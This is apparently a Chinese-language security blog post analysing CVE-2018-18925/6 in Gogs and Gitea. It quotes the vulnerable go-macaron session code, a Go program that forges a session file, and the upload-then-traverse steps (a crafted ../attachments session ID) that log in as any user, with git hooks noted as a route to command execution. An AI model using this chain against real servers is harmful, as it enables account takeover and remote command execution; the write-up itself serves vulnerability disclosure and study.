GOGS/Gitea任意代码执行(CVE-2018-18925/6)及利用流程

Posted by Manasseh Zhou on Tuesday, November 6, 2018

TOC

漏洞成因

由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.

P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.

影响

攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。

分析

在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.

在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤../, ./等关键词给我们一个将任意文件作为session文件的机会.

// Read returns raw session store by session ID.
func (m *Manager) Read(sid string) (RawStore, error) {
	return m.provider.Read(sid)
}
func (p *FileProvider) filepath(sid string) string {
	return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}

func (p *FileProvider) Read(sid string) (_ RawStore, err error) {
	filename := p.filepath(sid)
	if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
		return nil, err
	}
	p.lock.RLock()
	defer p.lock.RUnlock()

	var f *os.File
	if com.IsFile(filename) {
		f, err = os.OpenFile(filename, os.O_RDONLY, 0600)
	} else {
		f, err = os.Create(filename)
	}
	if err != nil {
		return nil, err
	}
	defer f.Close()

	if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil {
		return nil, err
	}

	var kv map[interface{}]interface{}
	data, err := ioutil.ReadAll(f)
	if err != nil {
		return nil, err
	}
	if len(data) == 0 {
		kv = make(map[interface{}]interface{})
	} else {
		kv, err = DecodeGob(data)
		if err != nil {
			return nil, err
		}
	}
	return NewFileStore(p, sid, kv), nil
}

这里, 我们以gogs为例, 进行一次测试.

首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.

通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).

通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码

package main

import (
	"bytes"
	"encoding/gob"
	"encoding/hex"
	"fmt"
	"io/ioutil"
	"os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

func main() {
	var uid int64 = 1
	obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
	data, err := EncodeGob(obj)
	if err != nil {
		fmt.Println(err)
	}
	err = ioutil.WriteFile("test.png", data, os.O_CREATE|os.O_WRONLY)
	if err != nil {
		fmt.Println(err)
	}
	edata := hex.EncodeToString(data)
	fmt.Println(edata)
}

由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.

对于默认配置的gogs,

release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid.

session存放的目录结构是, sessions/sid[0]/sid[1]/sid.

此外sessions与attachments文件夹均存放在相同的data文件夹下.

由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b, 读取session的函数将路径解析为sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b也就是我们上传的那个文件, 从而完成了任意用户登陆.

通过仓库的git hook也可以完成命令执行.

此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.

修复方式

更新至最新版.

参考资料

  1. CVE-2018-18925
  2. CVE-2018-18926
  3. Go代码审计 - gitea 远程命令执行漏洞链

comments powered by Disqus